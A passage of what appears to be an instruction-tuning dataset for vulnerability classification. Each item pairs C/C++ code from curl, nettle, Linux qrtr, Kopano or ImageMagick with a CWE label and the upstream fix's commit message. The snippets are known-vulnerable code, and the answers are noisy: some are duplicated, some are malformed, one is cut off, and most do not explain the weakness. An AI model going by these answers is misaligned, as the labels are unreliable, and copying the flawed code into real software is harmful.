:\n conn->host.name;\n#else\n const char * const hostname = conn->host.name;\n#endif\n size_t hostname_len = strlen(hostname);\n if((hostname_len < USHRT_MAX) &&\n (0 == Curl_inet_pton(AF_INET, hostname, &addr4)) &&\n#ifdef ENABLE_IPV6\n (0 == Curl_inet_pton(AF_INET6, hostname, &addr6)) &&\n#endif\n (wolfSSL_CTX_UseSNI(backend->ctx, WOLFSSL_SNI_HOST_NAME, hostname,\n (unsigned short)hostname_len) != 1)) {\n infof(data, \"WARNING: failed to configure server name indication (SNI) \"\n \"TLS extension\\n\");\n }\n }\n#endif\n\n /* give application a chance to interfere with SSL set up. */\n if(data->set.ssl.fsslctx) {\n CURLcode result = (*data->set.ssl.fsslctx)(data, backend->ctx,\n data->set.ssl.fsslctxp);\n if(result) {\n failf(data, \"error signaled by ssl ctx callback\");\n return result;\n }\n }\n#ifdef NO_FILESYSTEM\n else if(SSL_CONN_CONFIG(verifypeer)) {\n failf(data, \"SSL: Certificates can't be loaded because wolfSSL was built\"\n \" with \\\"no filesystem\\\". Either disable peer verification\"\n \" (insecure) or if you are building an application with libcurl you\"\n \" can load certificates via CURLOPT_SSL_CTX_FUNCTION.\");\n return CURLE_SSL_CONNECT_ERROR;\n }\n#endif\n\n /* Let's make an SSL structure */\n if(backend->handle)\n SSL_free(backend->handle);\n backend->handle = SSL_new(backend->ctx);\n if(!backend->handle) {\n failf(data, \"SSL: couldn't create a context (handle)!\");\n return CURLE_OUT_OF_MEMORY;\n }\n\n#ifdef HAVE_ALPN\n if(conn->bits.tls_enable_alpn) {\n char protocols[128];\n *protocols = '\\0';\n\n /* wolfSSL's ALPN protocol name list format is a comma separated string of\n protocols in descending order of preference, eg: \"h2,http/1.1\" */\n\n#ifdef USE_NGHTTP2\n if(data->state.httpversion >= CURL_HTTP_VERSION_2) {\n strcpy(protocols + strlen(protocols), NGHTTP2_PROTO_VERSION_ID \",\");\n infof(data, \"ALPN, offering %s\\n\", NGHTTP2_PROTO_VERSION_ID);\n }\n#endif\n\n strcpy(protocols + strlen(protocols), ALPN_HTTP_1_1);\n infof(data, \"ALPN, offering %s\\n\", ALPN_HTTP_1_1);\n\n if(wolfSSL_UseALPN(backend->handle, protocols,\n (unsigned)strlen(protocols),\n WOLFSSL_ALPN_CONTINUE_ON_MISMATCH) != SSL_SUCCESS) {\n failf(data, \"SSL: failed setting ALPN protocols\");\n return CURLE_SSL_CONNECT_ERROR;\n }\n }\n#endif /* HAVE_ALPN */\n\n#ifdef OPENSSL_EXTRA\n if(Curl_tls_keylog_enabled()) {\n /* Ensure the Client Random is preserved. */\n wolfSSL_KeepArrays(backend->handle);\n#if defined(HAVE_SECRET_CALLBACK) && defined(WOLFSSL_TLS13)\n wolfSSL_set_tls13_secret_cb(backend->handle,\n wolfssl_tls13_secret_callback, NULL);\n#endif\n }\n#endif /* OPENSSL_EXTRA */\n\n#ifdef HAVE_SECURE_RENEGOTIATION\n if(wolfSSL_UseSecureRenegotiation(backend->handle) != SSL_SUCCESS) {\n failf(data, \"SSL: failed setting secure renegotiation\");\n return CURLE_SSL_CONNECT_ERROR;\n }\n#endif /* HAVE_SECURE_RENEGOTIATION */\n\n /* Check if there's a cached ID we can/should use here! */\n if(SSL_SET_OPTION(primary.sessionid)) {\n void *ssl_sessionid = NULL;\n\n Curl_ssl_sessionid_lock(data);\n if(!Curl_ssl_getsessionid(data, conn, &ssl_sessionid, NULL, sockindex)) {\n /* we got a session id, use it! */\n if(!SSL_set_session(backend->handle, ssl_sessionid)) {\n char error_buffer[WOLFSSL_MAX_ERROR_SZ];\n Curl_ssl_sessionid_unlock(data);\n failf(data, \"SSL: SSL_set_session failed: %s\",\n ERR_error_string(SSL_get_error(backend->handle, 0),\n error_buffer));\n return CURLE_SSL_CONNECT_ERROR;\n }\n /* Informational message */\n infof(data, \"SSL re-using session ID\\n\");\n }\n Curl_ssl_sessionid_unlock(data);\n }\n\n /* pass the raw socket into the SSL layer */\n if(!SSL_set_fd(backend->handle, (int)sockfd)) {\n failf(data, \"SSL: SSL_set_fd failed\");\n return CURLE_SSL_CONNECT_ERROR;\n }\n\n connssl->connecting_state = ssl_connect_2;\n return CURLE_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-290'], 'message': 'vtls: add 'isproxy' argument to Curl_ssl_get/addsessionid()\n\nTo make sure we set and extract the correct session.\n\nReported-by: Mingtao Yang\nBug: https://curl.se/docs/CVE-2021-22890.html\n\nCVE-2021-22890'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: mbed_connect_step1(struct Curl_easy *data, struct connectdata *conn,\n int sockindex)\n{\n struct ssl_connect_data *connssl = &conn->ssl[sockindex];\n struct ssl_backend_data *backend = connssl->backend;\n const char * const ssl_cafile = SSL_CONN_CONFIG(CAfile);\n const bool verifypeer = SSL_CONN_CONFIG(verifypeer);\n const char * const ssl_capath = SSL_CONN_CONFIG(CApath);\n char * const ssl_cert = SSL_SET_OPTION(primary.clientcert);\n const char * const ssl_crlfile = SSL_SET_OPTION(CRLfile);\n#ifndef CURL_DISABLE_PROXY\n const char * const hostname = SSL_IS_PROXY() ? conn->http_proxy.host.name :\n conn->host.name;\n const long int port = SSL_IS_PROXY() ? conn->port : conn->remote_port;\n#else\n const char * const hostname = conn->host.name;\n const long int port = conn->remote_port;\n#endif\n int ret = -1;\n char errorbuf[128];\n errorbuf[0] = 0;\n\n /* mbedTLS only supports SSLv3 and TLSv1 */\n if(SSL_CONN_CONFIG(version) == CURL_SSLVERSION_SSLv2) {\n failf(data, \"mbedTLS does not support SSLv2\");\n return CURLE_SSL_CONNECT_ERROR;\n }\n\n#ifdef THREADING_SUPPORT\n entropy_init_mutex(&ts_entropy);\n mbedtls_ctr_drbg_init(&backend->ctr_drbg);\n\n ret = mbedtls_ctr_drbg_seed(&backend->ctr_drbg, entropy_func_mutex,\n &ts_entropy, NULL, 0);\n if(ret) {\n#ifdef MBEDTLS_ERROR_C\n mbedtls_strerror(ret, errorbuf, sizeof(errorbuf));\n#endif /* MBEDTLS_ERROR_C */\n failf(data, \"Failed - mbedTLS: ctr_drbg_init returned (-0x%04X) %s\",\n -ret, errorbuf);\n }\n#else\n mbedtls_entropy_init(&backend->entropy);\n mbedtls_ctr_drbg_init(&backend->ctr_drbg);\n\n ret = mbedtls_ctr_drbg_seed(&backend->ctr_drbg, mbedtls_entropy_func,\n &backend->entropy, NULL, 0);\n if(ret) {\n#ifdef MBEDTLS_ERROR_C\n mbedtls_strerror(ret, errorbuf, sizeof(errorbuf));\n#endif /* MBEDTLS_ERROR_C */\n failf(data, \"Failed - mbedTLS: ctr_drbg_init returned (-0x%04X) %s\",\n -ret, errorbuf);\n }\n#endif /* THREADING_SUPPORT */\n\n /* Load the trusted CA */\n mbedtls_x509_crt_init(&backend->cacert);\n\n if(ssl_cafile) {\n ret = mbedtls_x509_crt_parse_file(&backend->cacert, ssl_cafile);\n\n if(ret<0) {\n#ifdef MBEDTLS_ERROR_C\n mbedtls_strerror(ret, errorbuf, sizeof(errorbuf));\n#endif /* MBEDTLS_ERROR_C */\n failf(data, \"Error reading ca cert file %s - mbedTLS: (-0x%04X) %s\",\n ssl_cafile, -ret, errorbuf);\n\n if(verifypeer)\n return CURLE_SSL_CACERT_BADFILE;\n }\n }\n\n if(ssl_capath) {\n ret = mbedtls_x509_crt_parse_path(&backend->cacert, ssl_capath);\n\n if(ret<0) {\n#ifdef MBEDTLS_ERROR_C\n mbedtls_strerror(ret, errorbuf, sizeof(errorbuf));\n#endif /* MBEDTLS_ERROR_C */\n failf(data, \"Error reading ca cert path %s - mbedTLS: (-0x%04X) %s\",\n ssl_capath, -ret, errorbuf);\n\n if(verifypeer)\n return CURLE_SSL_CACERT_BADFILE;\n }\n }\n\n /* Load the client certificate */\n mbedtls_x509_crt_init(&backend->clicert);\n\n if(ssl_cert) {\n ret = mbedtls_x509_crt_parse_file(&backend->clicert, ssl_cert);\n\n if(ret) {\n#ifdef MBEDTLS_ERROR_C\n mbedtls_strerror(ret, errorbuf, sizeof(errorbuf));\n#endif /* MBEDTLS_ERROR_C */\n failf(data, \"Error reading client cert file %s - mbedTLS: (-0x%04X) %s\",\n ssl_cert, -ret, errorbuf);\n\n return CURLE_SSL_CERTPROBLEM;\n }\n }\n\n /* Load the client private key */\n mbedtls_pk_init(&backend->pk);\n\n if(SSL_SET_OPTION(key)) {\n ret = mbedtls_pk_parse_keyfile(&backend->pk, SSL_SET_OPTION(key),\n SSL_SET_OPTION(key_passwd));\n if(ret == 0 && !(mbedtls_pk_can_do(&backend->pk, MBEDTLS_PK_RSA) ||\n mbedtls_pk_can_do(&backend->pk, MBEDTLS_PK_ECKEY)))\n ret = MBEDTLS_ERR_PK_TYPE_MISMATCH;\n\n if(ret) {\n#ifdef MBEDTLS_ERROR_C\n mbedtls_strerror(ret, errorbuf, sizeof(errorbuf));\n#endif /* MBEDTLS_ERROR_C */\n failf(data, \"Error reading private key %s - mbedTLS: (-0x%04X) %s\",\n SSL_SET_OPTION(key), -ret, errorbuf);\n\n return CURLE_SSL_CERTPROBLEM;\n }\n }\n\n /* Load the CRL */\n mbedtls_x509_crl_init(&backend->crl);\n\n if(ssl_crlfile) {\n ret = mbedtls_x509_crl_parse_file(&backend->crl, ssl_crlfile);\n\n if(ret) {\n#ifdef MBEDTLS_ERROR_C\n mbedtls_strerror(ret, errorbuf, sizeof(errorbuf));\n#endif /* MBEDTLS_ERROR_C */\n failf(data, \"Error reading CRL file %s - mbedTLS: (-0x%04X) %s\",\n ssl_crlfile, -ret, errorbuf);\n\n return CURLE_SSL_CRL_BADFILE;\n }\n }\n\n infof(data, \"mbedTLS: Connecting to %s:%ld\\n\", hostname, port);\n\n mbedtls_ssl_config_init(&backend->config);\n\n mbedtls_ssl_init(&backend->ssl);\n if(mbedtls_ssl_setup(&backend->ssl, &backend->config)) {\n failf(data, \"mbedTLS: ssl_init failed\");\n return CURLE_SSL_CONNECT_ERROR;\n }\n ret = mbedtls_ssl_config_defaults(&backend->config,\n MBEDTLS_SSL_IS_CLIENT,\n MBEDTLS_SSL_TRANSPORT_STREAM,\n MBEDTLS_SSL_PRESET_DEFAULT);\n if(ret) {\n failf(data, \"mbedTLS: ssl_config failed\");\n return CURLE_SSL_CONNECT_ERROR;\n }\n\n /* new profile with RSA min key len = 1024 ... */\n mbedtls_ssl_conf_cert_profile(&backend->config,\n &mbedtls_x509_crt_profile_fr);\n\n switch(SSL_CONN_CONFIG(version)) {\n case CURL_SSLVERSION_DEFAULT:\n case CURL_SSLVERSION_TLSv1:\n mbedtls_ssl_conf_min_version(&backend->config, MBEDTLS_SSL_MAJOR_VERSION_3,\n MBEDTLS_SSL_MINOR_VERSION_1);\n infof(data, \"mbedTLS: Set min SSL version to TLS 1.0\\n\");\n break;\n case CURL_SSLVERSION_SSLv3:\n mbedtls_ssl_conf_min_version(&backend->config, MBEDTLS_SSL_MAJOR_VERSION_3,\n MBEDTLS_SSL_MINOR_VERSION_0);\n mbedtls_ssl_conf_max_version(&backend->config, MBEDTLS_SSL_MAJOR_VERSION_3,\n MBEDTLS_SSL_MINOR_VERSION_0);\n infof(data, \"mbedTLS: Set SSL version to SSLv3\\n\");\n break;\n case CURL_SSLVERSION_TLSv1_0:\n case CURL_SSLVERSION_TLSv1_1:\n case CURL_SSLVERSION_TLSv1_2:\n case CURL_SSLVERSION_TLSv1_3:\n {\n CURLcode result = set_ssl_version_min_max(data, conn, sockindex);\n if(result != CURLE_OK)\n return result;\n break;\n }\n default:\n failf(data, \"Unrecognized parameter passed via CURLOPT_SSLVERSION\");\n return CURLE_SSL_CONNECT_ERROR;\n }\n\n mbedtls_ssl_conf_authmode(&backend->config, MBEDTLS_SSL_VERIFY_OPTIONAL);\n\n mbedtls_ssl_conf_rng(&backend->config, mbedtls_ctr_drbg_random,\n &backend->ctr_drbg);\n mbedtls_ssl_set_bio(&backend->ssl, &conn->sock[sockindex],\n mbedtls_net_send,\n mbedtls_net_recv,\n NULL /* rev_timeout() */);\n\n mbedtls_ssl_conf_ciphersuites(&backend->config,\n mbedtls_ssl_list_ciphersuites());\n\n#if defined(MBEDTLS_SSL_RENEGOTIATION)\n mbedtls_ssl_conf_renegotiation(&backend->config,\n MBEDTLS_SSL_RENEGOTIATION_ENABLED);\n#endif\n\n#if defined(MBEDTLS_SSL_SESSION_TICKETS)\n mbedtls_ssl_conf_session_tickets(&backend->config,\n MBEDTLS_SSL_SESSION_TICKETS_DISABLED);\n#endif\n\n /* Check if there's a cached ID we can/should use here! */\n if(SSL_SET_OPTION(primary.sessionid)) {\n void *old_session = NULL;\n\n Curl_ssl_sessionid_lock(data);\n if(!Curl_ssl_getsessionid(data, conn, &old_session, NULL, sockindex)) {\n ret = mbedtls_ssl_set_session(&backend->ssl, old_session);\n if(ret) {\n Curl_ssl_sessionid_unlock(data);\n failf(data, \"mbedtls_ssl_set_session returned -0x%x\", -ret);\n return CURLE_SSL_CONNECT_ERROR;\n }\n infof(data, \"mbedTLS re-using session\\n\");\n }\n Curl_ssl_sessionid_unlock(data);\n }\n\n mbedtls_ssl_conf_ca_chain(&backend->config,\n &backend->cacert,\n &backend->crl);\n\n if(SSL_SET_OPTION(key)) {\n mbedtls_ssl_conf_own_cert(&backend->config,\n &backend->clicert, &backend->pk);\n }\n if(mbedtls_ssl_set_hostname(&backend->ssl, hostname)) {\n /* mbedtls_ssl_set_hostname() sets the name to use in CN/SAN checks *and*\n the name to set in the SNI extension. So even if curl connects to a\n host specified as an IP address, this function must be used. */\n failf(data, \"couldn't set hostname in mbedTLS\");\n return CURLE_SSL_CONNECT_ERROR;\n }\n\n#ifdef HAS_ALPN\n if(conn->bits.tls_enable_alpn) {\n const char **p = &backend->protocols[0];\n#ifdef USE_NGHTTP2\n if(data->state.httpversion >= CURL_HTTP_VERSION_2)\n *p++ = NGHTTP2_PROTO_VERSION_ID;\n#endif\n *p++ = ALPN_HTTP_1_1;\n *p = NULL;\n /* this function doesn't clone the protocols array, which is why we need\n to keep it around */\n if(mbedtls_ssl_conf_alpn_protocols(&backend->config,\n &backend->protocols[0])) {\n failf(data, \"Failed setting ALPN protocols\");\n return CURLE_SSL_CONNECT_ERROR;\n }\n for(p = &backend->protocols[0]; *p; ++p)\n infof(data, \"ALPN, offering %s\\n\", *p);\n }\n#endif\n\n#ifdef MBEDTLS_DEBUG\n /* In order to make that work in mbedtls MBEDTLS_DEBUG_C must be defined. */\n mbedtls_ssl_conf_dbg(&backend->config, mbed_debug, data);\n /* - 0 No debug\n * - 1 Error\n * - 2 State change\n * - 3 Informational\n * - 4 Verbose\n */\n mbedtls_debug_set_threshold(4);\n#endif\n\n /* give application a chance to interfere with mbedTLS set up. */\n if(data->set.ssl.fsslctx) {\n ret = (*data->set.ssl.fsslctx)(data, &backend->config,\n data->set.ssl.fsslctxp);\n if(ret) {\n failf(data, \"error signaled by ssl ctx callback\");\n return ret;\n }\n }\n\n connssl->connecting_state = ssl_connect_2;\n\n return CURLE_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-290'], 'message': 'vtls: add 'isproxy' argument to Curl_ssl_get/addsessionid()\n\nTo make sure we set and extract the correct session.\n\nReported-by: Mingtao Yang\nBug: https://curl.se/docs/CVE-2021-22890.html\n\nCVE-2021-22890'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ecc_eh_to_a (const struct ecc_curve *ecc,\n\t int op,\n\t mp_limb_t *r, const mp_limb_t *p,\n\t mp_limb_t *scratch)\n{\n#define izp scratch\n#define tp (scratch + ecc->p.size)\n\n\n#define xp p\n#define yp (p + ecc->p.size)\n#define zp (p + 2*ecc->p.size)\n\n mp_limb_t cy;\n\n assert(op == 0);\n\n /* Needs size + scratch for the invert call. */\n ecc->p.invert (&ecc->p, izp, zp, tp);\n\n ecc_mod_mul (&ecc->p, tp, xp, izp, tp);\n cy = mpn_sub_n (r, tp, ecc->p.m, ecc->p.size);\n cnd_copy (cy, r, tp, ecc->p.size);\n\n ecc_mod_mul (&ecc->p, tp, yp, izp, tp);\n cy = mpn_sub_n (r + ecc->p.size, tp, ecc->p.m, ecc->p.size);\n cnd_copy (cy, r + ecc->p.size, tp, ecc->p.size);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'New functions ecc_mod_mul_canonical and ecc_mod_sqr_canonical.\n\n* ecc-mod-arith.c (ecc_mod_mul_canonical, ecc_mod_sqr_canonical):\nNew functions.\n* ecc-internal.h: Declare and document new functions.\n* curve448-eh-to-x.c (curve448_eh_to_x): Use ecc_mod_sqr_canonical.\n* curve25519-eh-to-x.c (curve25519_eh_to_x): Use ecc_mod_mul_canonical.\n* ecc-eh-to-a.c (ecc_eh_to_a): Likewise.\n* ecc-j-to-a.c (ecc_j_to_a): Likewise.\n* ecc-mul-m.c (ecc_mul_m): Likewise.\n\n(cherry picked from commit 2bf497ba4d6acc6f352bca015837fad33008565c)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: HRESULT Http::HrReadHeaders()\n{\n\tHRESULT hr;\n\tstd::string strBuffer;\n\tULONG n = 0;\n\tstd::map::iterator iHeader = mapHeaders.end();\n\n\tec_log_debug(\"Receiving headers:\");\n\tdo\n\t{\n\t\thr = m_lpChannel->HrReadLine(strBuffer);\n\t\tif (hr != hrSuccess)\n\t\t\treturn hr;\n\t\tif (strBuffer.empty())\n\t\t\tbreak;\n\n\t\tif (n == 0) {\n\t\t\tm_strAction = strBuffer;\n\t\t} else {\n\t\t\tauto pos = strBuffer.find(':');\n\t\t\tsize_t start = 0;\n\n\t\t\tif (strBuffer[0] == ' ' || strBuffer[0] == '\\t') {\n\t\t\t\tif (iHeader == mapHeaders.end())\n\t\t\t\t\tcontinue;\n\t\t\t\t// continue header\n\t\t\t\twhile (strBuffer[start] == ' ' || strBuffer[start] == '\\t')\n\t\t\t\t\t++start;\n\t\t\t\tiHeader->second += strBuffer.substr(start);\n\t\t\t} else {\n\t\t\t\t// new header\n\t\t\t\tauto r = mapHeaders.emplace(strBuffer.substr(0, pos), strBuffer.substr(pos + 2));\n\t\t\t\tiHeader = r.first;\n\t\t\t}\n\t\t}\n\n\t\tif (strBuffer.find(\"Authorization\") != std::string::npos)\n\t\t\tec_log_debug(\"< Authorization: " + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int qrtr_recvmsg(struct socket *sock, struct msghdr *msg,\n\t\t\tsize_t size, int flags)\n{\n\tDECLARE_SOCKADDR(struct sockaddr_qrtr *, addr, msg->msg_name);\n\tstruct sock *sk = sock->sk;\n\tstruct sk_buff *skb;\n\tstruct qrtr_cb *cb;\n\tint copied, rc;\n\n\tlock_sock(sk);\n\n\tif (sock_flag(sk, SOCK_ZAPPED)) {\n\t\trelease_sock(sk);\n\t\treturn -EADDRNOTAVAIL;\n\t}\n\n\tskb = skb_recv_datagram(sk, flags & ~MSG_DONTWAIT,\n\t\t\t\tflags & MSG_DONTWAIT, &rc);\n\tif (!skb) {\n\t\trelease_sock(sk);\n\t\treturn rc;\n\t}\n\tcb = (struct qrtr_cb *)skb->cb;\n\n\tcopied = skb->len;\n\tif (copied > size) {\n\t\tcopied = size;\n\t\tmsg->msg_flags |= MSG_TRUNC;\n\t}\n\n\trc = skb_copy_datagram_msg(skb, 0, msg, copied);\n\tif (rc < 0)\n\t\tgoto out;\n\trc = copied;\n\n\tif (addr) {\n\t\taddr->sq_family = AF_QIPCRTR;\n\t\taddr->sq_node = cb->src_node;\n\t\taddr->sq_port = cb->src_port;\n\t\tmsg->msg_namelen = sizeof(*addr);\n\t}\n\nout:\n\tif (cb->confirm_rx)\n\t\tqrtr_send_resume_tx(cb);\n\n\tskb_free_datagram(sk, skb);\n\trelease_sock(sk);\n\n\treturn rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-909'], 'message': 'net: qrtr: fix a kernel-infoleak in qrtr_recvmsg()\n\nstruct sockaddr_qrtr has a 2-byte hole, and qrtr_recvmsg() currently\ndoes not clear it before copying kernel data to user space.\n\nIt might be too late to name the hole since sockaddr_qrtr structure is uapi.\n\nBUG: KMSAN: kernel-infoleak in kmsan_copy_to_user+0x9c/0xb0 mm/kmsan/kmsan_hooks.c:249\nCPU: 0 PID: 29705 Comm: syz-executor.3 Not tainted 5.11.0-rc7-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\nCall Trace:\n __dump_stack lib/dump_stack.c:79 [inline]\n dump_stack+0x21c/0x280 lib/dump_stack.c:120\n kmsan_report+0xfb/0x1e0 mm/kmsan/kmsan_report.c:118\n kmsan_internal_check_memory+0x202/0x520 mm/kmsan/kmsan.c:402\n kmsan_copy_to_user+0x9c/0xb0 mm/kmsan/kmsan_hooks.c:249\n instrument_copy_to_user include/linux/instrumented.h:121 [inline]\n _copy_to_user+0x1ac/0x270 lib/usercopy.c:33\n copy_to_user include/linux/uaccess.h:209 [inline]\n move_addr_to_user+0x3a2/0x640 net/socket.c:237\n ____sys_recvmsg+0x696/0xd50 net/socket.c:2575\n ___sys_recvmsg net/socket.c:2610 [inline]\n do_recvmmsg+0xa97/0x22d0 net/socket.c:2710\n __sys_recvmmsg net/socket.c:2789 [inline]\n __do_sys_recvmmsg net/socket.c:2812 [inline]\n __se_sys_recvmmsg+0x24a/0x410 net/socket.c:2805\n __x64_sys_recvmmsg+0x62/0x80 net/socket.c:2805\n do_syscall_64+0x9f/0x140 arch/x86/entry/common.c:48\n entry_SYSCALL_64_after_hwframe+0x44/0xa9\nRIP: 0033:0x465f69\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f43659d6188 EFLAGS: 00000246 ORIG_RAX: 000000000000012b\nRAX: ffffffffffffffda RBX: 000000000056bf60 RCX: 0000000000465f69\nRDX: 0000000000000008 RSI: 0000000020003e40 RDI: 0000000000000003\nRBP: 00000000004bfa8f R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000010060 R11: 0000000000000246 R12: 000000000056bf60\nR13: 0000000000a9fb1f R14: 00007f43659d6300 R15: 0000000000022000\n\nLocal variable ----addr@____sys_recvmsg created at:\n ____sys_recvmsg+0x168/0xd50 net/socket.c:2550\n ____sys_recvmsg+0x168/0xd50 net/socket.c:2550\n\nBytes 2-3 of 12 are uninitialized\nMemory access of size 12 starts at ffff88817c627b40\nData copied to user address 0000000020000140\n\nFixes: bdabad3e363d (\"net: Add Qualcomm IPC router\")\nSigned-off-by: Eric Dumazet \nCc: Courtney Cavin \nReported-by: syzbot \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: MagickExport Image *WaveImage(const Image *image,const double amplitude,\n const double wave_length,const PixelInterpolateMethod method,\n ExceptionInfo *exception)\n{\n#define WaveImageTag \"Wave/Image\"\n\n CacheView\n *canvas_image_view,\n *wave_view;\n\n float\n *sine_map;\n\n Image\n *canvas_image,\n *wave_image;\n\n MagickBooleanType\n status;\n\n MagickOffsetType\n progress;\n\n ssize_t\n i;\n\n ssize_t\n y;\n\n /*\n Initialize wave image attributes.\n */\n assert(image != (Image *) NULL);\n assert(image->signature == MagickCoreSignature);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n canvas_image=CloneImage(image,0,0,MagickTrue,exception);\n if (canvas_image == (Image *) NULL)\n return((Image *) NULL);\n if ((canvas_image->alpha_trait == UndefinedPixelTrait) &&\n (canvas_image->background_color.alpha != OpaqueAlpha))\n (void) SetImageAlpha(canvas_image,OpaqueAlpha,exception);\n wave_image=CloneImage(canvas_image,canvas_image->columns,(size_t)\n (canvas_image->rows+2.0*fabs(amplitude)),MagickTrue,exception);\n if (wave_image == (Image *) NULL)\n {\n canvas_image=DestroyImage(canvas_image);\n return((Image *) NULL);\n }\n if (SetImageStorageClass(wave_image,DirectClass,exception) == MagickFalse)\n {\n canvas_image=DestroyImage(canvas_image);\n wave_image=DestroyImage(wave_image);\n return((Image *) NULL);\n }\n /*\n Allocate sine map.\n */\n sine_map=(float *) AcquireQuantumMemory((size_t) wave_image->columns,\n sizeof(*sine_map));\n if (sine_map == (float *) NULL)\n {\n canvas_image=DestroyImage(canvas_image);\n wave_image=DestroyImage(wave_image);\n ThrowImageException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n for (i=0; i < (ssize_t) wave_image->columns; i++)\n sine_map[i]=(float) fabs(amplitude)+amplitude*sin((double)\n ((2.0*MagickPI*i)/wave_length));\n /*\n Wave image.\n */\n status=MagickTrue;\n progress=0;\n canvas_image_view=AcquireVirtualCacheView(canvas_image,exception);\n wave_view=AcquireAuthenticCacheView(wave_image,exception);\n (void) SetCacheViewVirtualPixelMethod(canvas_image_view,\n BackgroundVirtualPixelMethod);\n#if defined(MAGICKCORE_OPENMP_SUPPORT)\n #pragma omp parallel for schedule(static) shared(progress,status) \\\n magick_number_threads(canvas_image,wave_image,wave_image->rows,1)\n#endif\n for (y=0; y < (ssize_t) wave_image->rows; y++)\n {\n const Quantum\n *magick_restrict p;\n\n Quantum\n *magick_restrict q;\n\n ssize_t\n x;\n\n if (status == MagickFalse)\n continue;\n p=GetCacheViewVirtualPixels(canvas_image_view,0,y,canvas_image->columns,1,\n exception);\n q=QueueCacheViewAuthenticPixels(wave_view,0,y,wave_image->columns,1,\n exception);\n if ((p == (const Quantum *) NULL) || (q == (Quantum *) NULL))\n {\n status=MagickFalse;\n continue;\n }\n for (x=0; x < (ssize_t) wave_image->columns; x++)\n {\n status=InterpolatePixelChannels(canvas_image,canvas_image_view,\n wave_image,method,(double) x,(double) (y-sine_map[x]),q,exception);\n if (status == MagickFalse)\n break;\n p+=GetPixelChannels(canvas_image);\n q+=GetPixelChannels(wave_image);\n }\n if (SyncCacheViewAuthenticPixels(wave_view,exception) == MagickFalse)\n status=MagickFalse;\n if (image->progress_monitor != (MagickProgressMonitor) NULL)\n {\n MagickBooleanType\n proceed;\n\n#if defined(MAGICKCORE_OPENMP_SUPPORT)\n #pragma omp atomic\n#endif\n progress++;\n proceed=SetImageProgress(canvas_image,WaveImageTag,progress,\n canvas_image->rows);\n if (proceed == MagickFalse)\n status=MagickFalse;\n }\n }\n wave_view=DestroyCacheView(wave_view);\n canvas_image_view=DestroyCacheView(canvas_image_view);\n canvas_image=DestroyImage(canvas_image);\n sine_map=(float *) RelinquishMagickMemory(sine_map);\n if (status == MagickFalse)\n wave_image=DestroyImage(wave_image);\n return(wave_image);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-369'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/3296'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void TransformSignature(SignatureInfo *signature_info)\n{\n#define Ch(x,y,z) (((x) & (y)) ^ (~(x) & (z)))\n#define Maj(x,y,z) (((x) & (y)) ^ ((x) & (z)) ^ ((y) & (z)))\n#define RotateRight(x,n) (Trunc32(((x) >> n) | ((x) << (32-n))))\n#define Sigma0(x) (RotateRight(x,7) ^ RotateRight(x,18) ^ Trunc32((x) >> 3))\n#define Sigma1(x) (RotateRight(x,17) ^ RotateRight(x,19) ^ Trunc32((x) >> 10))\n#define Suma0(x) (RotateRight(x,2) ^ RotateRight(x,13) ^ RotateRight(x,22))\n#define Suma1(x) (RotateRight(x,6) ^ RotateRight(x,11) ^ RotateRight(x,25))\n#define Trunc32(x) ((unsigned int) ((x) & 0xffffffffU))\n\n ssize_t\n i;\n\n unsigned char\n *p;\n\n ssize_t\n j;\n\n static const unsigned int\n K[64] =\n {\n 0x428a2f98U, 0x71374491U, 0xb5c0fbcfU, 0xe9b5dba5U, 0x3956c25bU,\n 0x59f111f1U, 0x923f82a4U, 0xab1c5ed5U, 0xd807aa98U, 0x12835b01U,\n 0x243185beU, 0x550c7dc3U, 0x72be5d74U, 0x80deb1feU, 0x9bdc06a7U,\n 0xc19bf174U, 0xe49b69c1U, 0xefbe4786U, 0x0fc19dc6U, 0x240ca1ccU,\n 0x2de92c6fU, 0x4a7484aaU, 0x5cb0a9dcU, 0x76f988daU, 0x983e5152U,\n 0xa831c66dU, 0xb00327c8U, 0xbf597fc7U, 0xc6e00bf3U, 0xd5a79147U,\n 0x06ca6351U, 0x14292967U, 0x27b70a85U, 0x2e1b2138U, 0x4d2c6dfcU,\n 